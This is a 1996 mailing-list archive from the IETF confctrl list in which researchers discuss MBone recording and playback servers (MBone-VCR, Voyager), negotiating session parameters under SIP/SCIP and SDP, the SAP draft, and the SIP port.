X-Sender: whd@eratosthenes
To: Jeff Smith <sumisu@nttlabs.com>
Cc: confctrl@ISI.EDU, Achim Steinacker <stein@pi4.informatik.uni-mannheim.de>,
        Markus Kaas <kaas@pi4.informatik.uni-mannheim.de>
Subject: Re: Control of Recording and Playback Media Streams
In-Reply-To: <199606212115.OAA29644@mailhost.nttlabs.com>
Message-Id: <Pine.OSF.3.91.960626170858.8343K-100000@eratosthenes>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Fri, 21 Jun 1996, Jeff Smith wrote:
> The following is the beginnings of my thoughts for the 15 minutes I
> have the end of the second day...
> 
> This is more of a position paper and an attempt to encourage
> discussion and ensure completeness of the requirements for protocols
> to initiate and control recording and playback of mbone media streams.
> 
> Unfortunately, I didn't get as far with the details of how I would
> like to see the protocols actually specified and used.  I figured it
> was more valuable to give anyone checking their mail before leaving
> for Montreal a chance to see this before I stood up in front of
> everyone.
> 
> Cheers,
> 
> js

Jeff, ConfCtrlers,

unfortunately I will not be able to follow Johns presentation 
at the IETF meeting in Monterey today, neither in person, nor 
via MBone. However, I'd like to make some comments (last minute 
I know, but this discussion will probably go on for a while) 
since I believe that you started a very important thread. In 
fact this is something that is probably not only of interest 
for the mmusic group but also for the avt people and others.

A while ago I implemented one of the recording and playback 
applications on the MBone, the MBone-VCR, but unfortunately 
it is a little outdated since I didn't have enouguh time to 
look after it after I left ICSI (where I developed it). 
Anyhow, some ideas were still in my mind and together with 
two students in Mannheim we now could start a new project a 
couple of weeks ago that we called: "MBone-VCR on demand Service"

Well, we just started, so there are lots of things we have to 
investigate further, but since John brought the issue up, I 
thought this might be a good point to throw our ideas in the 
pot as well...

A brief overview of our project goals so far:

o  develop a distributed client-server architecture where 
   MBone-VCR clients request recordings and playbacks from 
   MBone-VCR server.

o  clients will be java-applets so they can be viewed and run
   with any java-capable browser on any platform. The clients
   take care to launch the appropriae applications to view the
   recordings. The information which the aproriate appplication
   is comes from the server. The interaction between clients 
   and servers will be via remote objects.

o  server will be partially implemented as java-applications 
   (not applets!) and partially using C++. The interface to 
   the client will be implemented in java (so we can use the 
   same RO-stack), time critical issues like retrieving RTP-
   packets from the net and storing them on a vcr-file will 
   be implemented in C++ and bound to the java application as
   shared library. The server will implement an interface to
   sdap in order to be able to receive session announcments
   (which the server will offer the clients as possible candidates
   that they can record) and to announce playbacks requested 
   from clients.

o  define a protocol between clients and servers that will provide:
   - session control and management e.g.:
     + listing of available session announcments
     + listing of available recordings
     + scheduling of recordings
     + scheduling of playbacks
     + change parameters of a session (e.g. lower the ttl)
     
   - stream control and managment e.g. 
     + play, stop, pause, record, ff, rew, set index,
       jump to next index, ...
     + events like "end of recording", "sync"  or "update timing"

   - floor control 
     + allow only one client to control the session 
       while multiple clients may receive it.
     + allow passing of the floor control token
 
o  define a standardized rtp-file format to store rtp-packets:
   The file format should be:
   - media independant
   - self describing
   - interchangable
   - efficient
   and optionally support
   - fast random access
   - indexing
   - editing
   
There are a lot more things to mention but I think you get the idea
and we have enough to talk and discuss about. We are at the very
beginning of the project and would be happy to have lively discussion
and new ideas that we may include in the architecture.

Again, it's too bad that I can't participate in the Monterey Meeting 
but I hope we will keep in touch and will have further discussion.

Thanks, so long,
-- Wieland 
-------------------------------------------------------------------------------
Wieland Holfelder
University of Mannheim
Praktische Informatik IV 	      Email: whd@pi4.informatik.uni-mannheim.de
L 15,16 			                        Fax  : +49-621-292-5745
68131 Mannheim				                Phone: +49-621-292-3300
Germany                     	     http://www.informatik.uni-mannheim.de/~whd
-------------------------------------------------------------------------------




From majordom@ISI.EDU  Wed Jun 26 08:24:54 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15362>; Wed, 26 Jun 1996 11:25:05 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15356>; Wed, 26 Jun 1996 11:25:03 -0700
Received: from antares.mcs.anl.gov (antares10.mcs.anl.gov) by venera.isi.edu (5.65c/5.61+local-23)
	id <AA11038>; Wed, 26 Jun 1996 11:25:02 -0700
Received: from mcs.anl.gov (putnam-atm.mcs.anl.gov [192.5.198.117]) by antares.mcs.anl.gov (8.6.10/8.6.10)  with ESMTP
	id NAA07836; Wed, 26 Jun 1996 13:24:55 -0500
Message-Id: <199606261824.NAA07836@antares.mcs.anl.gov>
To: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
Cc: Jeff Smith <sumisu@nttlabs.com>, confctrl@ISI.EDU,
        Achim Steinacker <stein@pi4.informatik.uni-mannheim.de>,
        Markus Kaas <kaas@pi4.informatik.uni-mannheim.de>,
        olson@antares.mcs.anl.gov
Subject: Re: Control of Recording and Playback Media Streams 
In-Reply-To: Your message of "Wed, 26 Jun 1996 17:12:52 +0200."
             <Pine.OSF.3.91.960626170858.8343K-100000@eratosthenes> 
Date: Wed, 26 Jun 1996 13:24:54 -0500
From: Bob Olson <olson@mcs.anl.gov>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Given this has come up :-) I should stop lurking and mention a project
we've been working on for some time ... dubbed the Voyager project,
we're building an RTP-based media server. I'm hacking on getting it
ready for a public release in the next week or two.

The Voyager system has a distributed client-server architecture, where
the server side consists of a set of cgi-scripts for session browsing,
recording, and playback; a pair of lowlevel daemons for record and
playback; a Perl-based architecture for gluing the layers together
(using nPerl for interdaemon communication (1)), and a relational
database to act as a central repository of informationfor the system
as a whole. The design goal is to serve large numbers of
high-bandwidth streams (nominal 5Mbps or more) both in record and
playback mode.

We use the IBM TigerShark multimedia filesystem on the server machine,
in order to do striping across multiple disk server nodes in the SP2
we're using as a server. 

On the client side we just use the mbone tools -- vic/vat or the
Precept tools.

We demonstrated an earlier version of Voyager at Supercomputing '95 --
see http://www.iway.org/video/index.html for a little info;
information on the current version is available at
http://voyager.mcs.anl.gov/Voyager/. 

(1) Nexus/Perl -- see http://www.mcs.anl.gov/nexus/nperl/

--bob

PS. Please note the server is in rough shape currently ... am working
out the kinks for public use of it... please be kind to it as it's
only a single-node server now, multinode operation should be up soon
as well.

From majordom@ISI.EDU  Thu Jun 27 03:31:58 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26042>; Wed, 26 Jun 1996 16:32:35 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26036>; Wed, 26 Jun 1996 16:32:34 -0700
Received: from rumms.uni-mannheim.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA26700>; Wed, 26 Jun 1996 16:32:30 -0700
Received: from pi4.informatik.uni-mannheim.de by rumms.uni-mannheim.de with SMTP id AA10507
  (5.67a/IDA-1.5 for <confctrl@ISI.EDU>); Thu, 27 Jun 1996 01:31:53 +0200
Received: from eratosthenes.informatik.uni-mannheim.de (eratosthenes [134.155.48.125]) by pi4.informatik.uni-mannheim.de (8.7.3/8.7.3) with ESMTP id BAA12828; Thu, 27 Jun 1996 01:24:45 +0200
Received: (from whd@localhost) by eratosthenes.informatik.uni-mannheim.de (8.7/8.7) id BAA31396; Thu, 27 Jun 1996 01:32:00 +0200 (MET DST)
Date: Thu, 27 Jun 1996 01:31:58 +0200 (MET DST)
From: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
X-Sender: whd@eratosthenes
To: Bob Olson <olson@mcs.anl.gov>
Cc: Jeff Smith <sumisu@nttlabs.com>, confctrl@ISI.EDU,
        Achim Steinacker <stein@pi4.informatik.uni-mannheim.de>,
        Markus Kaas <kaas@pi4.informatik.uni-mannheim.de>,
        olson@antares.mcs.anl.gov
Subject: Re: Control of Recording and Playback Media Streams 
In-Reply-To: <199606261824.NAA07836@antares.mcs.anl.gov>
Message-Id: <Pine.OSF.3.91.960627011143.26930B-100000@eratosthenes>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi Bob, 

very interesting piece of work! Thanks for the coming out :-)
Competition  always makes things getting better faster, right!
However, despite the fact that you (almost?) have a running system 
already, I think there is still room for further discussion. Some of the 
ideas that Jeff mentioned and some of the ideas that we want to 
implement are - as far as I could see it with a first look at your web 
pages - not included in the current voyager architecture. I'm sure that 
you have a lot more in the backhand that the things you list on the ToDos 
page but I think we would all benefit from further coorperation and 
discussions. One of the things, e.g. would be an rtp file format that 
would be interchangable between the various systems, a control protocol 
would be another issue and I could think of many more.

Whow, this field is moving real fast! 
Looking forward to more discussions.

Thanks,
-- Wieland

On Wed, 26 Jun 1996, Bob Olson wrote:
> Given this has come up :-) I should stop lurking and mention a project
> we've been working on for some time ... dubbed the Voyager project,
> we're building an RTP-based media server. I'm hacking on getting it
> ready for a public release in the next week or two.
> 
> The Voyager system has a distributed client-server architecture, where
> the server side consists of a set of cgi-scripts for session browsing,
> recording, and playback; a pair of lowlevel daemons for record and
> playback; a Perl-based architecture for gluing the layers together
> (using nPerl for interdaemon communication (1)), and a relational
> database to act as a central repository of informationfor the system
> as a whole. The design goal is to serve large numbers of
> high-bandwidth streams (nominal 5Mbps or more) both in record and
> playback mode.
> 
> We use the IBM TigerShark multimedia filesystem on the server machine,
> in order to do striping across multiple disk server nodes in the SP2
> we're using as a server. 
> 
> On the client side we just use the mbone tools -- vic/vat or the
> Precept tools.
> 
> We demonstrated an earlier version of Voyager at Supercomputing '95 --
> see http://www.iway.org/video/index.html for a little info;
> information on the current version is available at
> http://voyager.mcs.anl.gov/Voyager/. 
> 
> (1) Nexus/Perl -- see http://www.mcs.anl.gov/nexus/nperl/
> 
> --bob
> 
> PS. Please note the server is in rough shape currently ... am working
> out the kinks for public use of it... please be kind to it as it's
> only a single-node server now, multinode operation should be up soon
> as well.
> 

-- Wieland
-------------------------------------------------------------------------------
Wieland Holfelder
University of Mannheim
Praktische Informatik IV 	      Email: whd@pi4.informatik.uni-mannheim.de
L 15,16 			                        Fax  : +49-621-292-5745
68131 Mannheim				                Phone: +49-621-292-3300
Germany                     	     http://www.informatik.uni-mannheim.de/~whd
-------------------------------------------------------------------------------




From majordom@ISI.EDU  Wed Jun 26 16:15:31 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04956>; Wed, 26 Jun 1996 23:34:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04950>; Wed, 26 Jun 1996 23:34:51 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-23)
	id <AA10167>; Wed, 26 Jun 1996 23:34:51 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.5/3.4W4(96/02/06))
	id XAA21069; Wed, 26 Jun 1996 23:34:39 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id GAA00377; Thu, 27 Jun 1996 06:15:32 GMT
Message-Id: <199606270615.GAA00377@ornette.nttlabs.com>
To: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
Cc: confctrl@ISI.EDU, Achim Steinacker <stein@pi4.informatik.uni-mannheim.de>,
        Markus Kaas <kaas@pi4.informatik.uni-mannheim.de>
Subject: Re: Control of Recording and Playback Media Streams 
Reply-To: sumisu@nttlabs.com
In-Reply-To: Your message of "Wed, 26 Jun 1996 17:12:52 +0200"
References: <Pine.OSF.3.91.960626170858.8343K-100000@eratosthenes> 
Date: Wed, 26 Jun 1996 23:15:31 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

We just finished (literally) the BOF that was a follow-up to the
MMUSIC mtg. today.  I will be finalizing the summary of what we agreed
(and disagreed) upon in the next week or so and submitting this for
comment among those of us who attended the BOF and then sending this
to the list.  We would, of course, be interested in your comments.

More later,


js

--
 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

From majordom@ISI.EDU  Fri Jun 28 12:55:57 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21137>; Fri, 28 Jun 1996 04:47:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21131>; Fri, 28 Jun 1996 04:47:42 -0700
Received: from egate.lut.ac.uk by venera.isi.edu (5.65c/5.61+local-23)
	id <AA12276>; Fri, 28 Jun 1996 04:47:34 -0700
Received: from mailhost.lut.ac.uk [131.231.16.7] (pp)
	by egate.lut.ac.uk with smtp (Exim 0.52 #1)
	id E0uZc1I-0000C2-00; Fri, 28 Jun 1996 12:47:28 +0100
Received: from slip-coba.lut.ac.uk by hpd.lut.ac.uk (15.11/SMI-4.1) id AA18417;
          Fri, 28 Jun 96 12:47:00 bst
X-Sender: coba@hpd.lut.ac.uk
Message-Id: <v01530501adf9768626d2@[131.231.29.159]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 28 Jun 1996 12:55:57 +0000
To: confctrl@ISI.EDU
From: B.Anderson@lboro.ac.uk (Ben Anderson)
Subject: negotiation & SIP etc
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Given the considerable discussion (and confusion) about negotiation at the
IETF mmusic sessions I thought maybe I could start some more...:)

Negotiation - I'd suggest negotiation is the process of attempting to reach
an agreement on something (duh). So, in our case it is the process of
trying to reach agreement on session parameters - we can think of it as
trying to produce an SDP description that satisfies all concerned.

Now, note that this negotiation can occur in a number of places:

- Before the session set-up process. This may sound illogical but if a user
is aware of the capabilities of/constraints on the person/s they are about
to send an invitation to, they may well alter the session description
appropriately themselves. It may be that this can alleviate some of
complexity in negotiation. How would we do this?

- During the session set-up process which is what SCIP/SIP set out to do
(yes?). Given that an invitation protocol may be used to set up a session
of arbitrary size, as the size of that group increases we might expect that
the complexity & overhead of the negotiation will increase as well. A
negotiation process needs to be able to cope with this. If there is a
sufficiently rich set of ways that participants can vary (and with SDP I
suspect there might be) we may never in fact reach an agreement. What then?

- During the session itself. Someone commented at the IETF (1st session I
think) that once the session had been set up then that was that for
negotiation. This is a dangerous assumption to make because it implies that
the inviter/invitees know in advance exactly what they will do during the
lifetime of the session. This is not the case. We can imagine, for example,
a medic setting up a video session with a colleague in order to view a scan
animation (or whatever). However, part way through they realise that they
need to alter or fine-tune the parameters in order to see extra details
(change b/w, format etc). This is also negotiation. We might try to call
this session control (?) or signalling (?). We might also say that it is,
in fact, creating a new session with the new parameters in which case we
could cycle through the invitation process again. But perhaps we don't need
to - in this instance qute a lot of the negotiation may be done by the
people in the session (eg via audio) rather than by a protocol - they can
alter the parameters themselves.

Following from this last point, it's not clear to me how much of
'negotiation' we can safely leave to the system/protocols and how much the
users might need to be part of the loop. People are pretty good at
negotiation after all...

So, I don't see negotiation only taking place via SIP/SCIP/whatever - it
can occur in various places and perhaps we need to think about how we can
support this range. Different mechanisms may well be required for each.

hope some of that made sense.

Ben.


******************************************************************************
                http://pipkin.lut.ac.uk/~ben/sig.html



From majordom@ISI.EDU  Fri Jun 28 17:04:28 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24748>; Fri, 28 Jun 1996 08:04:46 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24742>; Fri, 28 Jun 1996 08:04:45 -0700
Received: from weeble.lut.ac.uk by venera.isi.edu (5.65c/5.61+local-23)
	id <AA19284>; Fri, 28 Jun 1996 08:04:39 -0700
Received: by weeble.lut.ac.uk with local (Exim 0.42 #1)
	id E0uZf5x-0004CL-00; Fri, 28 Jun 1996 16:04:29 +0100
Date: Fri, 28 Jun 1996 16:04:28 +0100 (BST)
From: Jon Knight <J.P.Knight@lut.ac.uk>
To: Ben Anderson <B.Anderson@lboro.ac.uk>
Cc: confctrl@ISI.EDU
Subject: Re: negotiation & SIP etc
In-Reply-To: <v01530501adf9768626d2@[131.231.29.159]>
Message-Id: <Pine.SUN.3.91.960628160032.15800E-100000@weeble.lut.ac.uk>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Fri, 28 Jun 1996, Ben Anderson wrote:
> - During the session set-up process which is what SCIP/SIP set out to do
> (yes?). Given that an invitation protocol may be used to set up a session
> of arbitrary size, as the size of that group increases we might expect that
> the complexity & overhead of the negotiation will increase as well. A
> negotiation process needs to be able to cope with this. If there is a
> sufficiently rich set of ways that participants can vary (and with SDP I
> suspect there might be) we may never in fact reach an agreement. What then?

I think that there's likely to be some circumstances where the system has
to have the option of throwing its virtual arms up in the air and saying
to the users "Tough; you've got no hardware/software in common and so you
can't talk to each other".

> People are pretty good at negotiation after all...

Obviously Ben was watching some different IETF sessions on the MBONE to 
me... :-) :-)

Tatty bye,

Jim'll

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Jon "Jim'll" Knight, Researcher, Sysop and General Dogsbody, Dept. Computer
Studies, Loughborough University of Technology, Leics., ENGLAND.  LE11 3TU.
* I've found I now dream in Perl.  More worryingly, I enjoy those dreams. *


From majordom@ISI.EDU  Thu Jul  4 19:54:01 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26897>; Thu, 4 Jul 1996 05:56:37 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26887>; Thu, 4 Jul 1996 05:56:32 -0700
Received: from xr3.atlas.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA22776>; Thu, 4 Jul 1996 05:56:29 -0700
X400-Received: by /PRMD=INTERNET/ADMD=ATLAS/C=FR/; Relayed;
               Thu, 4 Jul 1996 14:54:15 +0200
X400-Received: by mta xr3.atlas.fr in /PRMD=INTERNET/ADMD=ATLAS/C=FR/; Relayed;
               Thu, 4 Jul 1996 14:54:15 +0200
X400-Received: by /ADMD=ATLAS/C=FR/; Relayed; Thu, 4 Jul 1996 14:54:16 +0200
X400-Received: by /PRMD=cnet/ADMD=atlas/C=FR/; Relayed;
               Thu, 4 Jul 1996 17:54:01 +0200
Date: Thu, 4 Jul 1996 17:54:01 +0200
X400-Originator: haignere@issy.cnet.fr
X400-Recipients: non-disclosure:;
X400-Mts-Identifier: [/PRMD=cnet/ADMD=atlas/C=FR/;836484845@x400.issy.cnet.fr]
X400-Content-Type: P2-1984 (2)
Content-Identifier: Questions about 
Alternate-Recipient: Allowed
From: Isabelle HAIGNERE <haignere@issy.cnet.fr>
Message-Id: <9607041254.AA02168@haddock>
To: confctrl@ISI.EDU
Subject:  Questions about sdp and shared ephemeral state
Content-Length: 1575
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

*-------------------------------------------------------*
|       From :  Isabelle Haignere                       |
|               CNET - PAB/STC/SGV                      |
|               38-40 rue du General Leclerc            |
|               F-92 131 Issy les Moulineaux            |
|               FRANCE                                  |
|                                                       |
|               Tel.   : + 33 1 45 29 40 08             |
|               Fax.   : + 33 1 45 29 52 94             |
|                                                       |
|               E-mail : isabelle.haignere@issy.cnet.fr |
*-------------------------------------------------------*


Hello,


I have given a look to these two drafts :
draft-ietf-mmusic-agree-00.ps 
draft-ietf-mmusic-sdp-xx.ps.

I have some questions :
1) concerning the first document :
how can one implement the principles which are described 
in the first document (4 possible states : ENL reliable 
SB reliable ENL unreliable(fast no sense) and SB unreliable (Multicast
Internet case) ? 
How precisely is managed the SB unreliable mechanism
that is to say with what protocols ?
How can we define a precise group on the 
multicast Internet (MBone) ?
What are the solutions to limit a group in addition to the encryption 
mechanism ?


2) concerning the second document :
Is H245 still useful if one uses and extends the spread of sdp ?
What are the differences between "sdr" which is used on the MBone abd
sdp ?



Thank you very much for your responses 


Best regards 


Isabelle HAIGNERE

From majordom@ISI.EDU  Thu Jul  4 10:50:04 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08572>; Thu, 4 Jul 1996 17:49:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08566>; Thu, 4 Jul 1996 17:49:35 -0700
Received: from mercury.Sun.COM by venera.isi.edu (5.65c/5.61+local-23)
	id <AA11653>; Thu, 4 Jul 1996 17:49:34 -0700
Received: by mercury.Sun.COM (Sun.COM)
	id RAA09131; Thu, 4 Jul 1996 17:49:33 -0700
Received: from dahlgren.Eng.Sun.COM by Eng.Sun.COM (SMI-8.6/SMI-5.3)
	id RAA12303; Thu, 4 Jul 1996 17:49:33 -0700
Received: from coolant.Eng.Sun.COM by dahlgren.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA08209; Thu, 4 Jul 1996 17:48:24 -0700
Received: from coolant by coolant.Eng.Sun.COM (SMI-8.6/SMI-SVR4)
	id RAA20502; Thu, 4 Jul 1996 17:50:04 -0700
Message-Id: <199607050050.RAA20502@coolant.Eng.Sun.COM>
To: confctrl@ISI.EDU
Subject: SDAP spec?
Date: Thu, 04 Jul 1996 17:50:04 -0700
From: Steve Soule <Steve.Soule@eng.sun.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm looking for the SDAP spec referred to in the SDP spec.  Perhaps I'm
being foolish and it's in an obvious place.  If it doesn't exist, could
someone at least tell me what's in it?

From majordom@ISI.EDU  Fri Jul  5 09:57:42 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15312>; Fri, 5 Jul 1996 00:58:03 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15306>; Fri, 5 Jul 1996 00:58:02 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA09254>; Fri, 5 Jul 1996 00:58:01 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.05587-0@bells.cs.ucl.ac.uk>; Fri, 5 Jul 1996 08:57:47 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Steve Soule <Steve.Soule@eng.sun.com>
Cc: confctrl@ISI.EDU
Subject: Re: SDAP spec?
In-Reply-To: Your message of "Thu, 04 Jul 96 17:50:04 PDT." <199607050050.RAA20502@coolant.Eng.Sun.COM>
Date: Fri, 05 Jul 96 08:57:42 +0100
Message-Id: <2416.836553462@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I'm looking for the SDAP spec referred to in the SDP spec.  Perhaps I'm
>being foolish and it's in an obvious place.  If it doesn't exist, could
>someone at least tell me what's in it?

It's now called SAP (to avoid confusion with X500 *DAP protocols) and
a draft draft is in ftp://ftp.isi.edu/confctrl/docs/

Please don't implement from this draft - it will change soon...

Mark

From majordom@ISI.EDU  Sun Jul  7 19:24:34 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23621>; Sun, 7 Jul 1996 08:26:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23615>; Sun, 7 Jul 1996 08:26:51 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA09581>; Sun, 7 Jul 1996 08:26:46 -0700
Message-Id: <199607071526.AA09581@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Sun, 7 Jul 1996 17:24:39 +0200
X-Mailer: exmh version 1.6.7 5/3/96
To: B.Anderson@lboro.ac.uk (Ben Anderson)
Cc: confctrl@ISI.EDU
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: Re: negotiation & SIP etc
In-Reply-To: Your message of "Fri, 28 Jun 1996 12:55:57 -0000." <v01530501adf9768626d2@[131.231.29.159]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 07 Jul 1996 17:24:34 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Ben Anderson wrote:

> Now, note that this negotiation can occur in a number of places:
> 
> - Before the session set-up process. This may sound illogical but if a user
> is aware of the capabilities of/constraints on the person/s they are about
> to send an invitation to, they may well alter the session description
> appropriately themselves. It may be that this can alleviate some of
> complexity in negotiation. How would we do this?

This will depend on how anonymous the session is. If I create a session 
for a large audience, negotiation will happen in three ways:
(1) the creator will estimate what it takes to reach that target 
audience
(2) he/she will be told by email, etc. if the guess was off, go back to 
(1)
(3) the participants acquire whatever software/hardware is required.

Not much protocols can do here. For these types of large events, the 
only realistic option is to come to some agreement on a base set of 
functionality. These may well be community-specific. In some cases, 
this will mean that you have to send the same information twice - the 
equivalent of having 'text-only' and 'graphics' WWW pages.

Also, we better not assume that negotiations are symmetric, in that 
everybody is equal. If one of the other participants happens to be the 
CEO/university president/etc. and you're not, whose preferences or 
equipment capabilities will win.

> 
> - During the session set-up process which is what SCIP/SIP set out to do
> (yes?). Given that an invitation protocol may be used to set up a session
> of arbitrary size, as the size of that group increases we might expect that
> the complexity & overhead of the negotiation will increase as well. A
> negotiation process needs to be able to cope with this. If there is a
> sufficiently rich set of ways that participants can vary (and with SDP I
> suspect there might be) we may never in fact reach an agreement. What then?

If you always want connectivity, you have to specify: a set of media 
types and a common set of encodings for these. Nothing else you can do.

A typical on-line small-group negotiation would simply gather 
capabilities or preferences, say, in order of importance of attendees 
and then, in a second round, distribute the *set* of allowable 
encodings to everyone. (Note that, as far as I can tell, the 11/95 SDP 
spec does not allow for suggesting a set of allowable media types for a 
medium.) Another, less desirable outcome might be to force parallel 
sessions (the equivalent of the MIME alternate type). Another the 
(automatic?) installation of translators or mixers.

> 
> - During the session itself. [...]

Note that there's no reason SCIP (or, I presume, SIP) can't be used to 
modify an existing conference. This is needed to add media or to modify 
the set of allowable media encodings in any event.

This assumes that there's some (logical) central entity (such as the 
convenor or whatever the T.120 term is) that keeps track of things and 
decides policy (who's important and who's to be ignored if necessary, 
say). The Schooler/Weinrib agreement protocol description has much more 
to say on this and other issues.

It is up to the user agent to do one of several things:

- automatically respond to an invitation by giving a stock answer;
- request help from the user (pop up a window "You've been invited to 
talk to Bill Clinton <president@whitehouse.com>. Your current profile 
indicates that you do not accept video/some-evil-format. Would you like 
to override this choice?"

The protocol is not affected by this user agent behavior, it just needs 
to be able to express choices and answers.

There is an important decision for this type of negotiation: Should the 
inviting party offer all possibilities (in some order), including ones 
we really don't like (but would use rather than not communicate at all) 
and let the invited party choose, or should we have a 
proposal-counterproposal game, where neither side reveals its 
preferences initially? Frankly, I see only complication as the pay-off 
for hiding preferences in this case - we are not building a generic 
protocol for buying companies, negotatiating used-car prices or Middle 
Eastern peace deals, where not revealing my set of acceptable outcomes 
is obviously needed.

SCIP chooses to have the caller offer the set of choices and let the 
callee respond with another set. The invited party can assume that if 
it chooses a subset, it will be able to participate until told to do 
otherwise (e.g., after the convenor has solicited opinions from 
everybody else). There's only a one-step exchange here.


> 
> So, I don't see negotiation only taking place via SIP/SCIP/whatever - it
> can occur in various places and perhaps we need to think about how we can
> support this range. Different mechanisms may well be required for each.

The question is whether SIP or SCIP "go away" once the conference is 
under way. For the reasons above, I don't see this as necessary or 
useful. Conferences don't just start, stay unchanged and then go away 
all media at once. Going from 0 to 1 media is not very different than 
going from 2 to 3. After all, a conference (in the multicast context) 
is just a shared agreement to refer to a bunch of multicast or unicast 
streams by a common name. It doesn't exist in any tangible way by 
itself, unless you assume that conferences are only those with 
announcements appearing every so often in the session announcement 
multicast group. (Even here, things get tricky. Imagine inviting 
somebody to such a directory-announced conference and then trying to 
add or change its parameters - currently we just support 'reference by 
value', and not 'reference by pointer'...).

Henning

P.S. For a slightly elaborate form of negotation, check out Dr. Seuss 
"Green Eggs and Ham". 

http://www.coloacad.pvt.k12.co.us/~jham/green.html

> ******************************************************************************
>                 http://pipkin.lut.ac.uk/~ben/sig.html
> 
> 



From majordom@ISI.EDU  Mon Jul 15 12:05:27 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01702>; Mon, 15 Jul 1996 01:06:42 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01692>; Mon, 15 Jul 1996 01:06:38 -0700
Received: from goggins.uio.no by venera.isi.edu (5.65c/5.61+local-25)
	id <AA02330>; Mon, 15 Jul 1996 01:06:37 -0700
Received: from ulrik.uio.no by goggins.uio.no with local-SMTP (PP) 
          id <09784-0@goggins.uio.no>; Mon, 15 Jul 1996 10:05:36 +0200
Received: from marion by marion.uio.no ; Mon, 15 Jul 1996 08:05:28 GMT
Message-Id: <199607150805.IAA20922@marion.uio.no>
X-Mailer: exmh version 1.6.7 5/3/96
To: confctrl@isi.edu
Subject: SIP port
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 15 Jul 1996 10:05:27 +0200
From: Frank J|rgen Solem <f.j.solem@usit.uio.no>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I'm working on a implementation of the SIP protocol. Acording to the 
draft, the request is to be sent to a well-known port. Unfortunately this 
isn't well-known to me, and i wonder if someone might help me ?

--
Frank Solem


From majordom@ISI.EDU  Mon Jul 15 14:03:58 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08104>; Mon, 15 Jul 1996 05:04:26 -0700
